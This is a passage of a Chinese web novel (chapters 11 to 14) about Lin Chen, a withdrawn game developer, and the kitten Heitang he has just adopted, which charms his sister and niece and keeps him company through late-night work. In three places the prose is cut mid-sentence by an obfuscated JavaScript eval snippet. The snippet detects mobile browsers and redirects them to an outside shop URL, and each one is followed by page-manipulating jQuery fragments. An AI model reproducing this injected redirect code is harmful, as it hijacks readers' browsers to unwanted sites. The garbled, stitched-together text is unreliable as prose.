放了心,林忱晕晕乎乎摇摇晃晃地走进了卧室里。点了卧室里风扇的开关,风扇叶呼呼地转了起来,他往床上一倒,眼皮就沉沉地盖了下去。 睡着睡着,他就觉得有什么毛毛的热热的一小团靠过来倒在了他臂弯里,安稳地贴着他,轻轻的呼吸声在耳边想起。他想睁眼看看,却被更浓重的睡意拖拽进深蓝色的海洋里去了。 不透光的屋子里温度不算高,风扇不停转动着带起微凉的风。 夏日的午后,整个房间里,一片宁静。 11. 第 11 章 “啊啊啊啊!是猫猫!!!”林忱意识朦朦胧胧地听见有人喊叫起来,熟悉的小女孩嗓音里无尽的惊喜。 他迷迷糊糊地坐起来,睁开眼睛。感觉手臂酸酸的,伸手去揉的时候,看到衣袖上几根黑白色的毛。他捏起来看了看,看到床上也粘着几根黑白毛,细细的。 客厅那边传来林意纳闷的声音,“还真是猫,哪来的猫啊?” “哎哎哎,小心点抱它,”林意紧张地说,“别让它把你挠了。” 姐姐和小桔来了。 林忱彻底醒过神来,听着噔噔噔的脚步声迅速由远及近,转瞬风一样刮到卧室门口,穿着粉蓝色连衣裙的女孩刘海湿湿的黏在脸上,刘海下一双杏眼睁的大大的。汗涔涔的脸上,大大的笑容像是太阳下开得最灿烂的花,瞬间点亮了整间卧室。 “舅舅!有猫!”她把一直抱在怀里的小奶牛举起来,眼睛亮晶晶地,“你家里有猫!” 林忱凝视着她纯然喜悦的笑脸,嘴角轻轻扬了一下,“嗯。” 小桔搂了搂小奶牛,啊啊啊地又嚷嚷了一声,脸往小奶牛的脸上靠了靠,她动作轻轻地,语气柔柔地,“猫猫好软,好可爱哦。” 林忱望向她双臂之间,小奶牛乖乖地趴在小女孩的怀里,白色的猫爪子搭在小女孩肩膀上,爪子收着,姿态放松,任由她贴来贴去。 还真的很亲人,很喜欢小朋友的样子。 看到小桔手臂上粘着的那根白色的毛,再看看自己衣袖上的同款毛毛,林忱明白了:哦,原来这是小猫的毛。 他还没抱过小猫呢……是它刚刚来陪他一起睡觉了吗? “这猫是?”林意按亮了卧室的灯,她已经习惯了弟弟家里总是拉着窗帘关着灯黑乎乎的样子。刚刚带上完绘画班的小桔回来,她脸上也带着些薄汗。一边拿着纸巾擦着,一边奇怪地问。 林忱站起来,抿抿唇,有些紧张,“领养的……我。” 林意的手一顿,沉默几秒,“你今天自己去的?” 林忱低低嗯了一声,捏了捏手指,“有活动。” “真是出息了。” 林意只觉得无比地惊讶,随后是一阵头疼,皱着眉头,张张嘴,那句“你自己都照顾不好自己领养什么猫”就要脱口而出,忽然对上林忱望过来的目光。 虽然瘦削了些,但林忱毕竟也是二十二岁的成年男性了,身高也过了178。他站在她面前的时候,却垂着脑袋,眼神怯怯的,像是知道马上要挨骂了的小孩子。 到嘴边的话咽了回去,林意感觉到自己的腰侧的衣服被轻轻拽了一下,转头,又对上一双紧张又期盼的眼睛。 “妈妈……” 林意叹息一声,无奈软了语气,“行了行了,都带回家了,就养着吧。” 林忱和小桔的眼睛同时亮了起来,让林意既好气又好笑。 她瞟了一眼那只安安静静地趴在女儿怀里的小奶牛猫,又说,“舅舅领养的,就是舅舅的猫,周末可以来一起玩,但是不许带回家。你没空照顾它。” 明白这已经是妈妈的妥协了。小桔猛猛点头,又一本正经地保证:“妈妈,我肯定好好写作业,好好听话。” 林意倒是不怀疑女儿说的话,点点头,叮嘱道:“玩的时候小心的,别被它抓伤了。” “这小猫起名字没有?”林意问。小桔也赶紧看向林忱。 林忱的心一松,紧紧捏着的手指也松开了,“黑糖。” “它叫黑糖。” 一直安静的小奶牛抬起小下巴,朝着面前的女人软绵绵地叫了一声,“喵~”这小嗓音婉转得,说掺了十二分的糖分也不足为过。 林忱想到上午在活动现场,黑糖那一声一声破人三观的长嚎,觉得面前这简直是假猫。 不会是工作人员小姐姐照顾他,临时给他换了一只长得一模一样的吧。 林意看小奶牛还算顺眼,事已至此也只能接受了,挥挥手,“和舅舅、黑糖一起玩吧,我先去做饭。” 小桔笑眯眯地敬礼,回答铿锵有力,“是!妈妈!” 等林意走出卧室,小桔才克制不住地露出灿烂的笑容,抱着黑糖朝林忱跑过去,在林忱身上很快地贴了一下,不等林忱反应过来,就立刻退开了。 舅舅不喜欢人碰触她。但她还是想抱一下,就轻轻抱一下。 “谢谢舅舅。”小女孩眼眸里闪着光,很是笃定地说,“舅舅肯定是因为我喜欢猫猫,才一个人去参加活动领养了黑糖。” “你平常都不爱出门的。” 小桔真可爱。 林忱看着她,笑了一下,“有黑糖,不用去别的地方看猫。” 黑糖终于趴不住了,从小桔怀里跳出来,落在地上。压低身体拉拉前腿,又拉拉后腿。走到床脚在床棱磨磨脖子蹭了个痒,又走回小桔腿边挨挨蹭蹭了一下,最后走到林忱脚前,“啪叽——”一下倒了下来,半边身体结结实实压住了林忱的脚面。 小桔噗嗤笑了起来。 林忱:……感觉又被碰瓷了。 林忱的卧室不仅是睡觉的地方,也是他工作的地方。房间不大,又没有开空调。林忱觉得温度正好,但小桔很快就出汗了。 林忱套了件卫衣,带着小桔到客厅吹空调。 他刚拿出上午活动赠送的逗猫棒递给小桔,本想着让小桔逗黑糖玩。没想到黑糖又跑到了他脚边,然后“啪叽——”用身体盖住了林忱的脚。 他走开,黑糖跟着。他停下,黑糖又躺下。 “喵~~~”黑糖拉长了声音冲着他叫。 反复几次,林忱差点怀疑黑糖是在给他保暖,怕他的脚丫子感冒了。 还是小桔不太肯定地说,“舅舅,黑糖是不是饿了呀?我看它在舔嘴巴哎。” 黑糖立刻“喵”了一声,从林忱脚边爬起来,跑到小桔那儿用额头拱小桔的腿。 小胡子扎在腿上,小桔笑起来,“黑糖,哈哈,好痒哦。” 她抬头看着林忱,“舅舅,你看,小桔肯定是饿了。可以喂它吃什么呀?” 林忱:……确实忘了喂猫了。 和猫包一起带回来的还有一袋猫粮和一袋猫砂。 林忱不太肯定地把两个袋子都拎到沙发前,小桔凑过来看。袋子的正面都是银色的圆脸胖猫,不过猫粮和猫砂还是好区分的。 林忱和小桔一起头挨头地研究了一会儿猫粮袋上写的内容。几个月几斤重的猫大概一顿吃多少克猫粮,林忱算了一下,又用手机查了查。 抱着黑糖掂量了一下,大概有个四斤吧。 林忱拆了猫粮袋口,拿了一粒给小桔看。猫粮是三角形状的,闻着还行,不是很难闻。 小桔看黑猫猫猫头都要伸进猫粮袋里,赶紧往后拉了拉,“舅舅,得给黑糖准备饭碗和水碗。把这个倒在碗里,再让黑糖吃。” 林忱点点头,“我去找两个碗。” 拉开厨房的玻璃门,油烟机开着声音挺大。林意一手拿着锅铲,侧头问:“怎么了,饿了?” “黑糖饿了。”林忱拉开灶台下的碗柜,“找个碗。” “我来。”对这个厨房,林意比林忱熟悉多了。上面的碗柜里只有他们日常吃饭的碗和盘子,数量不多。她拉开下面的柜子,拿了两个还没用过的碗出来。 “上回买的,还没用呢。”林意把碗洗得干干净净,递给林忱。“一个装粮,一个放水。” “哎,别走。”林意又递过来一个装得满满的盘子,“哦,这盘小酥肉你先拿去和小桔两个吃,垫垫肚子。” 想了想,林意又说,“别给猫喂啊,猫估计吃不了。”她拿了一个料碟出来,从一边的备菜盘子里夹了块鱼肉,放在料碟上,“喏,这个拿去给黑糖吃。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401745|200423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料碟摞在了两个叠着的碗上,碗上还画着卡通小猫。 一手端着碗,一手端着盘子,看着林意又回到灶边炒菜,林忱愣了愣才回到客厅。 “哇——小酥肉!好香!”小桔看得眼睛放光,走过来却先接过了碗。 “这个鱼肉是给黑糖吃的吗?” “黑糖,快来。好吃吗?” 小桔抽了纸擦了擦碗里的水,给黑糖倒了猫粮。“舅舅,这么多够不够?” 林意把盘子放桌上,看着猫粮的分量深思一会儿,“应该差不多吧。”是按照猫粮袋儿和网上建议的量。 黑糖吃了鱼肉,愉快地舔嘴。看着碗里倒了粮,它就凑过来埋头一顿哐哧哐哧。 “黑糖慢点吃。”小桔就趴在旁边,近距离围观小猫猫吃饭。小奶牛吃起饭来的样子还挺专注,嘴巴像是小铲子一样,啊呜一口铲进一铲子粮,也不怎么嚼,在嘴里倒两下就咽下去了,又接着下一铲。 三角形的小鼻子湿湿的粉粉的,嘴巴动的时候,两侧的白色胡子一抖一抖的。它原本是站在碗前面吃,吃着吃着,小屁股就放了下去坐着吃。 小桔一低头,就看到它的小手套和小白袜子,被狠狠萌到:“太可爱啦黑糖。” 她现在觉得,黑糖长得比宠物店橱窗里那只猫猫好看一点呢。 黑糖面前的碗很快空了,他抬着小脚垫在地上拍了拍,向小桔示意。 小桔:“舅舅,黑糖好像没吃饱。” 吃了晚饭,林忱和小桔两个按平常那样,一起在厨房里打扫卫生。黑糖就在他们脚边转来转去,还跳到灶台上,探着小脑袋去看他们。 小桔一边洗碗一边冲黑糖挤眉弄眼做鬼脸,“黑糖,看我!” 林忱擦着灶台,又过去擦黑糖在灶台水痕上踩出的梅花小脚印。 林意几次“不经意地”从厨房门口走过,每次朝里看的时候,都看到小桔一脸的笑容。小女孩的笑就像是烟花一样,一次次地点亮着林意的心。 她看着看着,也不由笑了起来。 跟小桔爸爸分开以后,就再也没见过小桔有这么开心的时候了。 晚上七点,林意要带小桔回家了。她和小桔娘俩住的房子其实也不远,和林忱住的房子相隔一个小区,走得快的话十来分钟就能到。 小桔抱着黑糖不放手,黏糊糊地撒娇,“妈妈,我能不能住舅舅家。” 林意早料到会有这场面,坚定,“不行,明天要上学。”住这里,今晚就别想着这小丫头睡觉了。 小桔:“那我们把黑糖带回家一晚上好不好,就一晚上。” 林意:“不行,你刚刚答应我什么了?” 答应不许把黑糖带回家。 小桔撅撅嘴。 林忱想开口,林意看了一眼他,清清了嗓子,“如果下周你好好吃饭的话,我们周五就可以来看黑糖。” 小奶牛亲昵地蹭了蹭小桔的手,粉粉的舌头舔了舔小桔的脸。 小桔咯咯咯笑起来,“黑糖,你舔得我好痒哦。” “妈妈我知道啦!妈妈真好。妈妈,我这周肯定好好吃饭。” “黑糖,你要好好陪舅舅哦。”小桔摸摸小奶牛的头,靠近小奶牛支棱着地耳朵悄悄说,“他一个人很无聊的。” 小奶牛又在她脸蛋儿上蹭了蹭,好像也分外不舍的样子。 把黑糖送回林忱怀里,小桔朝着他们挥手,“舅舅,再见。黑糖,再见。周五见哦!” 门关上了。 门外的脚步声逐渐远去,每周一天的热闹在这一刻又重归静寂。 林忱的房子里没什么多余的东西,一眼望去空空荡荡的。林意每周带着小桔来,走的时候,所有东西都干干净净整整齐齐。 林忱和怀里的黑糖对视了一眼,一人一猫一起盯了一会儿那扇关上的大门。 好安静啊。 12. 第 12 章 洗了个澡出来,林忱顶着条毛巾走出卫生间,正看见黑糖站起来,两条前腿扒着卫生间的门框,有些百无聊赖的样子。 “守在门口做什么?”林忱好奇。 黑糖落回地上站好,林忱一眼就瞅到门框上两条长长的抓痕。 “爪子还挺锋利的。”林忱擦着头发往卧室走,嘀嘀咕咕像是在自言自语,“会抓老鼠吗?家里没有老鼠吧……” 拖鞋吧嗒吧嗒地碰着地面。 黑糖跟在后面,张大嘴巴打了个哈欠,尖尖的小牙齿暴露在空气里。 “困了?” 林忱的床一米五宽,床上的床品是灰蓝色系。床的另一边就是工作区,两张电脑桌,一个手绘板,墙上贴满了乱七八糟的画。 林忱在椅子上坐下来。 每天晚上的时间,林忱都用来写剧情和设计关卡。 电脑点亮,屏幕中心是一个小人,正孤零零地站在一片海滩上。林忱移动鼠标,像素小人就会随着鼠标转来转去。 黑糖跳上桌子,从屏幕后面探出猫猫头,看了看林忱按在鼠标上的手,一只毛毛腿从屏幕后面伸出来,眼睛则和林忱对视着。 林忱没出声,看着它。 黑糖就很自然地整个身体从屏幕后绕过来,坐在宽大的桌垫上。黑色的猫屁股就落在林忱的键盘边上,尾巴顺服地落在手绘板上。它看着屏幕里那个原地转圈圈的像素小人,脑袋晃来晃去。 林忱能看到它的侧脸,尖尖的耳朵,尖尖的小下巴,胡子像是一道道的音符线。它的眼睛看上去像是林忱小时候喜欢玩的玻璃弹珠,透明、澄净,中间一道瞳孔微微扁圆,似乎在认真地打量着什么。 它歪头晃脑的,林忱忍不住问:“你看的懂?” 黑糖回头看他一眼,又专心看屏幕,视线依然追随着那个在屏幕上来回溜达的小人。 小猫似乎是喜欢追逐移动的物体的。 林忱看着屏幕,“他在一个岛上,种田、钓鱼、盖房子。每天这样,走来走去。” 如果因为林忱在外跟人避免说话,恨不得离开人类星球,跟自己的姐姐和外甥女也是交流得有些磕磕绊绊,就觉得林忱是个沉默是金、闷不吭声的人,那真是大错特错。 一个人生活的林忱许多时候经常自言自语,尤其是做游戏的时候,甚至可以称得上极度话痨。 他絮絮叨叨把自己脑子里想的说出来的时候,仍然在一种极度专注思考的状态中,听众只有他自己,所以他不仅没有和人社交时那种被凝视感,反而非常地松弛。 “看这里,”林忱指指屏幕,“有个npc过来了。不过别担心,不是坏人。” “npc会告诉他,哪里能弄到更适合盖房子的木头。” 黑糖回头看林忱一下,林忱专注地看着屏幕,“给他一个触发条件,在npc面前连续砍树,npc会发起对话……这种树并不是盖房子的最好选择……” 林忱嘴里的话断断续续的,并不连贯,他沉浸进去,想到那儿就说到那儿。 “哪里有……” 林忱顿了一下,“有点生硬,改成‘好吧,也许您愿意告诉我……’这样?” 挂着的社交软件上,跳出一个消息。 【忱哥,我玩了两天,就还是原来那个问题,开放度太大,npc触发条件太苛刻。钓鱼得在npc大爷面前钓失败三十次,还必须每次都被大爷目睹和嘲笑,才能开启拜师任务,这也太难达成了吧。】 【还有和npc的对话……居然还有‘不用了’和‘不用’的选项,区别在哪?】 林忱默默叉掉了消息。 如果不是这个勉强算得上和他关系不错的网友、同行一直跟他说必须要有对话,才能丰富游戏内容,让玩家更有沉浸感之类的,他真想把整个游戏设计成完全的单人荒岛探险养老模式,完全没有npc那种。 林忱挠头,低声说,“好烦……” 屏幕上写了又改,改了又删,林忱写得有些生无可恋了。揉揉眼睛准备拿水喝一口,才看见坐在他旁边的黑糖头已经低低地埋了下去,小脑袋没有支撑地点了一下。 林忱动作一顿。 黑糖的小脑袋又是一点。 林忱:“这么困了吗?” 他伸手戳了戳黑糖的屁股,没等到反应又戳了戳。黑糖眼皮子耷拉着看过来,他轻声说:“你可以……去床上睡。” 下午都在床上睡过了,再去床上,好像也没什么关系。 黑糖又狠狠打了个哈欠,眼神有些迷迷蒙蒙的,确实还困得很,不过却没有离开,反而身体轻轻地一塌,趴了下来。 两只前爪往前伸着,小脑袋就搁在手臂上,眼睛半眯着,尾巴缓慢地扫了一圈儿,在林忱手背上搭了一下,就慢悠悠地落在了另一边。 那漫不经心地一搭让林忱怔了怔,仿佛被这只小猫轻轻抚慰了一下。 屏幕右下角的时间已经接近凌晨2点了。 往常这个时候,屋子里只有林忱一个人。 凌晨2点,正是林忱码代码的时刻。夜深人静,整栋楼都睡着了。窗外没有了任何的声音,林忱对着屏幕,一行一行敲游戏逻辑、角色行为…… 林忱:“睡桌子上?不硬吗?” “去床上睡?” 黑糖撩着眼皮子,从眼缝里扫他一眼,没动。 “你才四个月,还是个小孩子呢。”林忱像是林意平时念叨小桔一样,有点儿苦口婆心的意思了,“要好好睡觉。” 小奶牛完全不为所动。 林忱想了下,起身从床上拿了一个枕头,摆在桌子上。拍拍枕头,“睡这儿?” 黑糖挪了挪位置。 林忱很明白地把枕头放到黑糖挪出来的空位,黑糖果然往枕头上一跳,在柔软的枕头上踩了踩。那软绵绵的触感让黑糖很喜欢,它前爪按在枕头上交替着一下一下地踩了起来。 这是在做什么? 林忱不懂,林忱求助。用手机搜索了一下,原来黑糖这是在踩奶。踩奶代表小猫处在一种比较放松的状态当中。 黑糖踩得很投入。 到新家来的第一天,陪伴着新主人熬夜的第一个晚上,黑糖很放松。 林忱有些意外。他设想了一下如果是自己到了一个完全陌生的环境,和完全不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401746|200423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟悉的人类相处……简直是灾难。 但是黑糖在屋里巡视,在床上睡觉,陪小桔玩。吃晚饭的时候还去蹭林意,想多要一块鱼肉。睡在他手边,在他的枕头上踩奶。完全的松弛、自由,如鱼得水,仿佛进了自己家门。 林忱眨眨眼,“啊,确实是回家了。” 黑糖的那种坦然的姿态让它显得格外的无害,好像原本就是这个环境中的一份子,是一本书、是一个杯子。一滴水掉进了一池水里,池水里的鱼会有什么反应呢? 林忱没有反应。 代码在林忱的手指下,在键盘之上快速跃动出来,屏幕一直亮着,一直亮着。 枕头上黑糖甚至打起了小呼噜。 风扇还在不停歇地转着,吹着林忱的头发,吹着黑糖屁股上的毛毛。 凌晨6点,林忱疲倦地拍了拍脸,起身敲敲有些僵硬的腰背。 “任务完成了。”林忱呼出一口浊气,隐隐听到窗外已经有了早起人活动的声音。 不过跟他没什么关系。林忱看了看正熟睡的小奶牛,好能睡的一只小猫。 浓重的睡意包裹了他,他回到床上,倒头就睡。 临睡前的最后念头是,黑糖……真乖啊。 乖个屁。 林忱满脸冒着黑气,眼睛艰难地睁开,看着面前这个像是讨债鬼一样扒着他“喵喵喵”叫个不停的小奶牛。 他已经用枕头捂住了脑袋,但枕头隔绝不了小奶牛的大嗓门。 好像又回到了昨天的领养现场。 他一睁开眼睛,黑糖就安静地看着他。 他一闭上眼睛,那魔音就灌入了耳朵里。 “喵!” “喵!喵!” “喵喵喵!”黑糖压着身体,脑袋伸到枕头下面,爪子在床单上用力地扒拉着,床单发出被拉扯着的声音。 林忱:……困得想死,吵得头疼,好想穿越到昨天上午,再也不去那个什么领养活动。在家睡觉不好吗?谁家好人养猫啊?! 黑糖前爪踩在了枕头上,一下一下用力,是昨天让林忱觉得踩得很从容很放松的姿势。但是现在……黑糖就像是隔着枕头,一下一下踩在了林忱脸上。 好困……林忱想,就这样让臭猫踩死我吧。好绝望的死法,但是能继续睡觉了…… “喵喵喵喵!!!” 灵魂陡然被抽到了一顿。 林忱猛地坐了起来,抹了一把脸,声音从喉咙里挤出来,“行了,行了,你说你想要什么……我不睡了,不睡了……别叫了……” 他下了床,摇摇晃晃地跟在精神抖擞的黑糖后面往外走。 打着哈欠给黑糖倒粮的时候,林忱看到墙上挂着的始终显示:7点10分。 手抖了一下,林忱看着已经没心没肺地吃起来的黑糖,擦了擦眼睛的眼泪。 昨天晚上还感觉像个安静的陪伴型小天使的小奶牛,突然浑身冒出了浓郁黑气,一双乌漆嘛黑的翅膀慢慢地在小奶牛的身后煽动着。 林忱似乎听到了恶魔在他耳边低语的声音。 好可怕。 林忱:……邪恶小奶牛没错了。 13. 第 13 章 黑糖吃粮的动作还是吭哧吭哧地,嘴巴一下一下像是小铲子。一吃上饭,它就又恢复了那副乖萌乖萌的样子,什么长嚎什么嘶吼全都消失不见。 林忱可不会把刚才的一切当成一场梦。 “扰人清梦,可恶。”林忱控诉了一声,粮都喂了,也不在乎再做点什么了。他又给黑糖倒了点水。 也许是他的目光太过灼热了,黑猫突然抬头朝他看了一眼。然后一张口,含进去一大口粮。然后走到林忱的旁边,在他奇怪地目光中,嘴巴一张,一口粮被吐在了地上。 黑糖:“喵~” 林忱:…… 黑糖:“喵~喵~” 或许是个人都能看懂眼前这只小奶牛的神情吧。那种很明确的示意:粮分给你了,吃。 林忱:“……谢谢。”真谢谢了。 黑糖:“喵~” 林忱又看懂那催促的意思了,在那一瞬间,他真讨厌能看懂猫猫表情的自己。否则,他就不用思考自己应该怎么回应了。 莫名感觉到了社交压力。 “我不吃这个,”林忱说,生怕黑糖不信似的,随手拿过茶几上茶盘里的一个小面包,撕开就咬了一口,“人类可能更适合吃这个。” 黑糖凑了过来。 林忱没有犹豫地把手里的小面包递到黑糖面前,黑糖探头闻了一下,又闻了一下,然后yue了一下,转身走了。 林忱:…… 不吃就不吃,至于到了yue的地步吗? 林忱看了看手里的小面包,最后还是默默地一口一口吃掉了。他姐林意买来的,不能浪费。 吃饱喝足的黑糖就趴在沙发扶手上,先舔湿自己的手臂毛,再用手臂去擦自己的脸颊和眼睛,一遍又一遍,非常认真地清理自己。 林忱还从没像此刻这么困。看黑糖忙着自己的事儿,他也就摇摇晃晃地回卧室补觉去了。 睡意昏沉。 不久之后他就又感觉臂弯里热乎乎的,一个小小的重量压在他手臂上。他在潜意识中让了一点位置,手摸了一下,是毛茸茸的触感。 黑糖又来了吗? 林忱迷迷糊糊地想着,又睡了过去。 这一觉醒来,林忱的睡意尽去,有点儿神清气爽的感觉。他换了身长衣长裤,走出来给黑糖开了个空调。中午的温度不低,一身真皮毛估计会热吧。 眼睛一扫没发现黑糖,找了一下,才看到黑糖正拉长身体去够客厅和餐厅中间墙壁上钉着的那块层板上摆着的一个布偶。 那布偶是个小兔子。 之前林忱带小桔去抓娃娃抓到的。他抓娃娃的技术相当不好,这个娃娃还是小桔抓到了送给他的。小桔送的时候小心翼翼地,像是生怕伤害了舅舅的自尊心。 “你喜欢这个吗?”林忱干脆给黑糖拿了下来。 黑糖一爪子拍在了小兔子贱贱的表情上,有些霸气地一屁股坐在了小兔子身上。 林忱:……不像喜欢的样子。 “别弄坏了。”林忱说,“是小桔送的。” 黑糖“喵~”了一声。 林忱就说:“小桔今天不来,她要上学。等到这周五,她会来跟你玩。” 黑糖:“喵~” 小奶牛把小兔子玩偶一脚踹到沙发里面,不再“欺压”它了。它又熟门熟路地跳到了猫粮袋面前,爪子拍拍猫粮袋。 “我给你倒。” 林忱还没发现,一人一猫的无障碍沟通多么令人惊奇。但凡有个外人在场,都得直呼一声:哥啊,快送幼儿园吧,别耽误猫猫童鞋长大为人民做功劳。 黑糖吃猫粮总是吃得很香。 林忱觉得自己也看饿了。 周一,冰箱里还有许多林意带来的存货。快手的饭菜多的是,林忱过去开冰箱,思考中午吃什么。 黑糖也在冰箱面前看来看去。 “吃哪个?”林忱问黑糖。 黑糖小脑瓜子上看下看,盯在一个格子里。 “什么……”林忱把盒子拿出来看了一下,是他姐做的卤鸡腿,热一下就能吃。 黑糖还盯着。 林忱又拿了一个盒子出来,“是炒饭。” 两个盒子都是可加热的。林意总是这样,照顾他的时候无微不至。知道林忱平时那德行,总把吃饭当任务,敷衍一顿是一顿。所以她准备的存货,总是热一热就能吃了。 炒饭配鸡腿。 林忱热好了端到茶几上,坐在地垫上准备吃。黑糖又凑过来闻,林忱配合地朝它推了推。 黑糖嗅了一下,然后侧过脑袋,又“yue”了一下。舌头伸出来,一副被“毒”到的表情。 林忱:……好了好了知道了。 热乎的饭填满了空虚的胃,林忱背靠着沙发发了会呆。 客厅的窗帘严严实实地拉着,阳光从窗帘的下面缝隙照进来,照亮了一长条的地板。 窗帘晃动了一下,黑糖从两片窗帘中间钻了出去。 林忱看着那阳光里突然出现了黑色的小猫影子,四条毛毛腿,低垂的尾巴尖儿。本来静态的阳光因为那影子的加入,陡然有了灵动的形状。 林忱看了一会儿,起身拨开窗帘,从窗帘里露出头,对上黑糖看过来的眼睛。 “不热?” 林忱陪黑糖玩了一会儿“窗帘躲猫猫游戏”。 林忱在屋里,手指戳着窗帘动来动去。黑糖在屋外,看到窗帘上凸出来的地方,一蹦一跳地扑上去抓咬。这个游戏让黑糖很兴奋,玩了很久还在蹦蹦跳跳地追逐。 林忱都累了,问:“不热?” 黑糖还在上蹿下跳。 客厅通往阳台的窗帘下摆,初步展现出了成为“流苏状”的潜质。一绺一绺的线被抓了出来,仔细看还能看到小小的窟窿。 林忱:……希望窗帘能多撑些日子。 他正想着,突然看到窗帘那边,四只爪子紧紧抠住窗帘。然后四只爪子迅速交错向上,林忱再看,窗帘绷得紧紧的。窗帘缝里,黑白猫猫头探过来。 林忱望着已经挨近窗帘杆的黑糖,看出了那双眼睛里的得意。 他又一次灵魂发问:“热不热?” 歇歇吧。这位未成年猫,战斗力不要太强了。 一格格点着像素画,社交软件上又跳出那位兄台的消息。 【忱哥,在吗?】 林忱念叨一声:“你要这么问,我就是不在。” 叉掉消息,林忱在手绘板上继续努力。他间歇休息一下,黑糖就跑过来在他手绘板上踩来踩去,不知道是想助他“四脚之力”,还是想用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401747|200423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四只脚添四倍的麻烦。 【忱哥~】社交软件又跳出来,【聊聊呗。】 窗口一阵弹动。 林忱给他发了一个“。” 那边回:忱哥,更新了再让我玩一玩哈。最近我正上头呢。哦,对了,建议接下来加入可跟随的宠物哈。一个人在里面待着,偶尔还是感觉有点孤单单的。 那边又问:忱哥,加油加油。等你正式发布,想快点跟其它玩家一起玩~ 林忱又给他发了一个句号。 “好多要求啊。”林忱戳着手绘板,把耐心一点点捡回来。 “宠物……”林忱目光移向趴在他身边的桌垫上打盹的黑糖,“真能睡。” 到晚上林忱给黑糖倒猫粮的时候,黑糖已经熟门熟路地走到冰箱面前,等他开冰箱了。 林忱不懂小猫猫的智商是怎么建立了“倒粮等于开冰箱”的逻辑的,不过他大体懂得小奶牛的脑回路:吃饭了,吃饭了,大家都到饭点了。 “晚上吃什么?”林忱把冰箱门都拉开,把小猫抱起来。 黑糖扒着他的手臂,爬到林忱肩膀上站着,不太稳当地勾着头。 “这个?”林忱看到黑糖看什么,就拿出来什么。 “还有这个?”林忱研究着手里的袋子,“这是什么?好像没吃过。” “不知道怎么吃,能不能换一个。” 黑糖瞅着他。 林忱眼神瞟了一下,掏出手机,拨出电话。 “喂?小忱,怎么了?”林意的声音传过来,紧接着是小桔问,“舅舅打电话了?” 林忱极少给她打电话,林意有点紧张地问:“怎么了?” 林忱犹豫了一下,“姐,冰箱里红色的袋子……” “里面是什么?” 林意:“啊?” “姐,给我发一下做法。” “……哦。” 黑糖冲着手机“喵~”地叫了一声。 “是黑糖!”小桔惊喜的叫声传来,“黑糖,我是小桔!” 黑糖又软绵绵地拉长声音,“喵~~~”糖度满分。 小桔开心笑起来,“黑糖好可爱哦!黑糖,你在和舅舅一起吃饭吗?” 黑糖:“喵~” 小桔:“嗯嗯,黑糖好乖!监督舅舅好好吃饭哦!我周五就去和你玩儿,到时候给你带玩具!带好吃的!” 黑糖:“喵~喵~喵~” 林忱:“谢谢姐,挂了。” 林意有些缓不过神来似的,隔了一会儿才回,“哦……哦,没事。” “黑糖再见!” 林意的消息很快发过来,说了做的方法,很简单。她本来也不会给弟弟买很难处理的食材。消息的最后,她又嘱咐:不会的话再问我,喜欢吃跟我说,下周我再买。好好吃饭。 林忱眸光温软,把手机递到黑糖面前,把消息读过黑糖听。 “好像不难,黑糖,你听懂了不?” 黑糖的大眼睛幽幽望着他。 林忱心虚了一下。 “没想让你给我做。” “小猫咪那么聪明……”林忱摸了一下黑糖的小耳朵,由衷地感叹,“是合理的吗?黑糖,你的智力值,是不是配得太高了?” “这会影响系统平衡吧。” 14. 第 14 章 林忱没想到的是,连续几个晚上,当他对着那台电脑绞尽脑汁地设计剧情的时候,黑糖都像来的第一天晚上那样,安静蹲在他旁边的桌垫上,猫尾巴甩在手绘板板面上,留下几根猫毛。 他一开始还只是如以前一样,遇到纠结的时候就自然自语:“……这里红头发会过来说,你还好吗?” “‘你还好吗?’嗯……先说这个?然后她会给他眼睛一拳,说……‘看起来你不太好’。” 这里的剧情是npc误以为主角是个小偷,对不小心卡在栅栏上的主角采取了一通暴力制裁。当然,这个npc的触发条件是:玩家操控主角卡进栅栏里,且卡出一个相当可笑的姿势。 林忱犹豫的点在于,让红头发npc直接上来一顿锤,还是打个招呼再锤。 已经是深夜了,过于安静的环境让林忱望着电脑屏幕的视线有点儿发飘。目光移了移,就落在旁边正侧躺成一个半圆,用两只白猫爪子捂在眼睛上挡着光亮,已经睡得打起了小小呼噜的小奶牛身上。 林忱的手在小奶牛屁股上轻摸了一下,黑糖没醒,喉咙里“嘤”出了一声。像是被打扰了睡眠的小婴儿,发出不满的抗议。 林忱原本有些迷离的眼睛渐渐有了一丝神采,他又摸了一下,说:“黑糖,去床上睡。” 黑糖“嘤”了一声,两只小白手套换了个交叠的姿势,两只小白袜子也交叠着往外伸了伸,然后又缩了回去。头往两只前臂里埋得更深了。 